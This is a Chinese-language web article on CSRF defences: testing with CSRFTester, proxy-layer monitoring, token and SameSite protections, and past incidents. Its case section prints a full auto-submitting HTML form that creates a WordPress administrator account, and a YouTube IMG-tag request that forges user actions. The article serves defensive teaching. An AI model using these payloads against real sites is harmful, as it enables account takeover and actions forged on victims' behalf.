CSRF的其他防范措施?

一般情況下,我們可以通過各種防護策略來防御CSRF,對于QA、SRE、安全負責人等,我們可以做哪些事情來提升安全性呢?

一、CSRF測試

CSRFTester是一款CSRF漏洞的測試工具,CSRFTester工具的測試原理大概是這樣的,使用代理抓取我們在瀏覽器中訪問過的所有的連接以及所有的表單等信息,通過在CSRFTester中修改相應的表單等信息,重新提交,相當于一次偽造客戶端請求,如果修改后的測試請求成功被網站服務器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊。 CSRFTester使用方法大致分下面幾個步驟:

步驟1:設置瀏覽器代理

CSRFTester默認使用Localhost上的端口8008作為其代理,如果代理配置成功,CSRFTester將為您的瀏覽器生成的所有后續HTTP請求生成調試消息。

步驟2:使用合法賬戶訪問網站開始測試

我們需要找到一個我們想要為CSRF測試的特定業務Web頁面。找到此頁面后,選擇CSRFTester中的“開始錄制”按鈕并執行業務功能;完成后,點擊CSRFTester中的“停止錄制”按鈕;正常情況下,該軟件會全部遍歷一遍當前頁面的所有請求。

步驟3:通過CSRF修改并偽造請求

之后,我們會發現軟件上有一系列跑出來的記錄請求,這些都是我們的瀏覽器在執行業務功能時生成的所有GET或者POST請求。通過選擇列表中的某一行,我們現在可以修改用于執行業務功能的參數,可以通過點擊對應的請求修改query和form的參數。當修改完所有我們希望誘導用戶form最終的提交值,可以選擇開始生成HTML報告。

步驟4:拿到結果如有漏洞進行修復

首先必須選擇“報告類型”。報告類型決定了我們希望受害者瀏覽器如何提交先前記錄的請求。目前有5種可能的報告:表單、iFrame、IMG、XHR和鏈接。一旦選擇了報告類型,我們可以選擇在瀏覽器中啟動新生成的報告,最后根據報告的情況進行對應的排查和修復。

二、CSRF監控

對于一個比較復雜的網站系統,某些項目、頁面、接口漏掉了CSRF防護措施是很可能的。一旦發生了CSRF攻擊,我們如何及時的發現這些攻擊呢?

CSRF攻擊有著比較明顯的特征:

  1. 跨域請求
  2. GET類型請求Header的MIME類型大概率為圖片,而實際返回Header的MIME類型為Text、JSON、HTML。

我們可以在網站的代理層監控所有的接口請求,如果請求符合上面的特征,就可以認為請求有CSRF攻擊嫌疑。我們可以提醒對應的頁面和項目負責人,檢查或者 Review其CSRF防護策略。?

總結:

簡單總結一下上文的防護策略:

  • CSRF自動防御策略:同源檢測(Origin 和 Referer 驗證)。
  • CSRF主動防御措施:Token驗證 或者 雙重Cookie驗證 以及配合Samesite Cookie。
  • 保證頁面的冪等性,后端接口不要在GET頁面中做用戶操作。

為了更好的防御CSRF,最佳實踐應該是結合上面總結的防御措施方式中的優缺點來綜合考慮,結合當前Web應用程序自身的情況做合適的選擇,才能更好的預防CSRF的發生。

個人用戶CSRF安全的建議

經常上網的個人用戶,可以采用以下方法來保護自己:

  • 使用網頁版郵件的瀏覽郵件或者新聞也會帶來額外的風險,因為查看郵件或者新聞消息有可能導致惡意代碼的攻擊。
  • 盡量不要打開可疑的鏈接,一定要打開時,使用不常用的瀏覽器。

歷史案例

  • WordPress的CSRF漏洞

2012年3月份,WordPress發現了一個CSRF漏洞,影響了WordPress 3.3.1版本,WordPress是眾所周知的博客平臺,該漏洞可以允許攻擊者修改某個Post的標題,添加管理權限用戶以及操作用戶賬戶,包括但不限于刪除評論、修改頭像等等。具體的列表如下:

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator’s email
  • Change Wordpress Address
  • Change Site Address

那么這個漏洞實際上就是攻擊者引導用戶先進入目標的WordPress,然后點擊其釣魚站點上的某個按鈕,該按鈕實際上是表單提交按鈕,其會觸發表單的提交工作,添加某個具有管理員權限的用戶,實現的碼如下:

<html> 
<body onload="javascript:document.forms[0].submit()"> 
<H2>CSRF Exploit to add Administrator</H2> 
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> 
<input type="hidden" name="action" value="createuser"/> 
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> 
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> 
<input type="hidden" name="user_login" value="admin2"/> 
<input type="hidden" name="email" value="admin2@admin.com"/> 
<input type="hidden" name="first_name" value="admin2@admin.com"/> 
<input type="hidden" name="last_name" value=""/> 
<input type="hidden" name="url" value=""/> 
<input type="hidden" name="pass1" value="password"/> 
<input type="hidden" name="pass2" value="password"/> 
<input type="hidden" name="role" value="administrator"/> 
<input type="hidden" name="createuser" value="Add+New+User+"/> 
</form> 
</body> 
</html> 
  • YouTube的CSRF漏洞

2008年,有安全研究人員發現,YouTube上幾乎所有用戶可以操作的動作都存在CSRF漏洞。如果攻擊者已經將視頻添加到用戶的“Favorites”,那么他就能將他自己添加到用戶的“Friend”或者“Family”列表,以用戶的身份發送任意的消息,將視頻標記為不宜的,自動通過用戶的聯系人來共享一個視頻。例如,要把視頻添加到用戶的“Favorites”,攻擊者只需在任何站點上嵌入如下所示的IMG標簽:

<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>

攻擊者也許已經利用了該漏洞來提高視頻的流行度。例如,將一個視頻添加到足夠多用戶的“Favorites”,YouTube就會把該視頻作為“Top Favorites”來顯示。除提高一個視頻的流行度之外,攻擊者還可以導致用戶在毫不知情的情況下將一個視頻標記為“不宜的”,從而導致YouTube刪除該視頻。

這些攻擊還可能已被用于侵犯用戶隱私。YouTube允許用戶只讓朋友或親屬觀看某些視頻。這些攻擊會導致攻擊者將其添加為一個用戶的“Friend”或“Family”列表,這樣他們就能夠訪問所有原本只限于好友和親屬表中的用戶觀看的私人的視頻。

攻擊者還可以通過用戶的所有聯系人名單(“Friends”、“Family”等等)來共享一個視頻,“共享”就意味著發送一個視頻的鏈接給他們,當然還可以選擇附加消息。這條消息中的鏈接已經并不是真正意義上的視頻鏈接,而是一個具有攻擊性的網站鏈接,用戶很有可能會點擊這個鏈接,這便使得該種攻擊能夠進行病毒式的傳播。

參考文獻

  • Mozilla wiki.Security-Origin
  • OWASP.Cross-Site_RequestForgery(CSRF)_Prevention_Cheat_Sheet.
  • Gmail Security Hijack Case.Google-Gmail-Security-Hijack.
  • Netsparker Blog.Same-Site-Cookie-Attribute-Prevent-Cross-site-Request-Forgery
  • MDN.Same-origin_policy#IE_Exceptions

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/37313.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/37313.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/37313.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

BLACKBOX.AI:解鎖開發新紀元,加速編程學習的AI神器!

文章目錄 &#x1f4af;BLACKBOX.AI 官網&#x1f341;1 BLACKBOX.AI 工具使用教程&#x1f341;2 BLACKBOX.AI工具使用界面介紹&#x1f341;3 Chat(聊天)功能&#x1f341;4 Explore (探索)功能&#x1f48e;4.1 Terminal(終端)功能&#x1f48e;4.2 Discover(發現)功能&…

STM32 IWDG(獨立看門狗)

1 IWDG簡介 STM32有兩個看門狗&#xff1a;一個是獨立看門狗&#xff08;IWDG&#xff09;&#xff0c;另外一個是窗口看門狗。獨立看門狗也稱寵物狗&#xff0c;窗口看門狗也稱警犬。本文主要分析獨立看門狗的功能和它的應用。 獨立看門狗用通俗一點的話來解釋就是一個12位的…

關于轉BigDecimal對象時,精度問題

//浮點型數值Double d 0.0003d;//轉BigDecimal對象BigDecimal a new BigDecimal(d);System.out.println(String.format("浮點類型數字:%.4f創建BigDecimal對象并且保留多位小數并且保留多位小數時,精度會變多,結果為%s",d,a.setScale(8, BigDecimal.ROUND_DOWN)));…

format()方法——格式化字符串

自學python如何成為大佬(目錄):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 語法介紹 format()可以對數據進行格式化處理操作&#xff0c;語法如下&#xff1a; format(value, format_spec) format_spec為格式化解釋。當參數…

【計算機畢業設計】092基于微信小程序二手閑置交易市場

&#x1f64a;作者簡介&#xff1a;擁有多年開發工作經驗&#xff0c;分享技術代碼幫助學生學習&#xff0c;獨立完成自己的項目或者畢業設計。 代碼可以私聊博主獲取。&#x1f339;贈送計算機畢業設計600個選題excel文件&#xff0c;幫助大學選題。贈送開題報告模板&#xff…

PostgreSQL的系統視圖pg_stat_archiver

PostgreSQL的系統視圖pg_stat_archiver 在 PostgreSQL 數據庫中&#xff0c;pg_stat_archiver 視圖提供了關于歸檔進程&#xff08;archiver process&#xff09;的統計信息。歸檔進程負責將 WAL&#xff08;Write-Ahead Logging&#xff09;日志文件復制到歸檔存儲&#xff0…

探索區塊鏈:顛覆性技術的崛起

目錄 一、引言 二、區塊鏈技術概述 三、區塊鏈應用場景 四、區塊鏈面臨的挑戰 五、區塊鏈的未來展望 六、結語 一、引言 在數字化浪潮的推動下&#xff0c;區塊鏈技術以其獨特的去中心化、透明性和不可篡改性等特性&#xff0c;正在逐步改變我們的生活。從金融領域到供應…

基于Java的茶文化交流系統【附源碼+LW】

摘 要 計算機網絡發展到現在已經好幾十年了&#xff0c;在理論上面已經有了很豐富的基礎&#xff0c;并且在現實生活中也到處都在使用&#xff0c;可以說&#xff0c;經過幾十年的發展&#xff0c;互聯網技術已經把地域信息的隔閡給消除了&#xff0c;讓整個世界都可以即時通話…

MySQL數據庫存儲引擎

MySQL數據庫存儲引擎 存儲引擎概念 存儲引擎也稱為表類型 通過不同的技術比如說&#xff0c;存儲機制&#xff0c;索引技巧&#xff0c;鎖定水平等等&#xff0c;來提供不同的功能。 查看MySQL支持的存儲引擎 show engines\G&#xff1b; 常用引擎比較 對事務有需求 innodb …

TiDB-從0到1-數據導出導入

TiDB從0到1系列 TiDB-從0到1-體系結構TiDB-從0到1-分布式存儲TiDB-從0到1-分布式事務TiDB-從0到1-MVCCTiDB-從0到1-部署篇TiDB-從0到1-配置篇TiDB-從0到1-集群擴縮容 一、數據導出 TiDB中通過Dumpling來實現數據導出&#xff0c;與MySQL中的mysqldump類似&#xff0c;其屬于…

Spring Boot中如何配置和使用多數據源

Spring Boot中如何配置和使用多數據源 大家好&#xff0c;我是免費搭建查券返利機器人省錢賺傭金就用微賺淘客系統3.0的小編&#xff0c;也是冬天不穿秋褲&#xff0c;天冷也要風度的程序猿&#xff01;今天&#xff0c;我們將深入探討如何在Spring Boot應用中配置和使用多數據…

oracle with as 是什么并且怎么用

Oracle中的WITH AS語句&#xff0c;也被稱為Common Table Expressions&#xff08;CTE&#xff09;&#xff0c;是一個用于定義臨時結果集或視圖的子句。這個臨時結果集或視圖只在當前的查詢中存在&#xff0c;并且在查詢完成后會被自動刪除。使用WITH AS可以提高SQL語句的可讀…

JavaWeb——MySQL:navicate客戶端工具簡單使用

目錄 1. 連接 2. 新建數據庫 3. 使用數據庫 4. 新建表 5.使用表 6. 導出數據庫 我這里是英文版&#xff0c;沒有進行漢化。 1. 連接 點擊左上角Connection&#xff0c;選擇MySQL&#xff0c;&#xff08;我連接的是自己計算機上的數據庫&#xff09;連接名輸入&#x…

使用ScheduledExecutorService進行任務調度

使用ScheduledExecutorService進行任務調度 大家好&#xff0c;我是免費搭建查券返利機器人省錢賺傭金就用微賺淘客系統3.0的小編&#xff0c;也是冬天不穿秋褲&#xff0c;天冷也要風度的程序猿&#xff01; 在軟件開發中&#xff0c;任務調度是一項重要的技術需求&#xff…

抖音開放平臺運營同學聯系我了,非常感謝

大家好&#xff0c;我是小悟 是怎么個事呢&#xff1f; 前幾天在對接抖音開放平臺&#xff0c;服務商代開發小程序里面的小程序備案&#xff0c;上傳備案圖片接口遇到了問題&#xff0c;具體的問題可詳閱【抖音開放平臺&#xff0c;這誰寫的&#xff0c;要扣績效吧】。 評論…

Zoom視頻會議的虛擬背景功能:打造個性化會議體驗

在遠程工作和在線交流日益普及的今天&#xff0c;視頻會議已成為連接人們的橋梁。Zoom視頻會議軟件因其出色的音視頻質量和豐富的功能而廣受歡迎。其中&#xff0c;虛擬背景功能是Zoom的一大亮點&#xff0c;它不僅能夠保護用戶隱私&#xff0c;還能為會議增添趣味性。本文將詳…

Java編程基本功大揭秘 | 詳解深入分析Java線程池源碼和底層原理,掌握實戰技巧【1】

詳解深入分析Java線程池源碼和底層原理 文章大綱引言Java線程池概念及重要性 ThreadPoolExecutor類的概述ThreadPoolExecutor類的基本功能和作用**基本功能****核心作用** ThreadPoolExecutor主要構造函數及其參數繼承關系鏈功能介紹ThreadPoolExecutor 構造器構造器參數構造器…

c語言自動售貨機

C語言編寫的自動售貨機程序可以模擬真實自動售貨機的基本功能&#xff0c;例如選擇商品、顯示價格、付款和找零。下面是一個簡單的示例代碼&#xff0c;展示了一個基本的自動售貨機程序&#xff1a; #include <stdio.h>// 商品結構體 typedef struct {char name[30];int…

破解對LabVIEW的偏見

LabVIEW被廣泛應用于科學研究、工程測試和自動化控制領域&#xff0c;具有專業性和高效的開發能力。盡管有人對其存在偏見&#xff0c;認為不如C語言&#xff0c;但LabVIEW的圖形化編程、強大集成能力、豐富社區支持和專業功能&#xff0c;使其在許多實際應用中表現出色。通過多…

Go語言環境安裝

Go下載地址 哪個能用用哪個。 https://go.dev/ https://golang.google.cn/&#xff08;Golang官網的官方鏡像&#xff09; Windows 使用.msi安裝包安裝 下載msi文件 安裝 雙擊運行go1.22.4.windows-amd64.msi Next 勾選I accept the terms in the License Agreement&…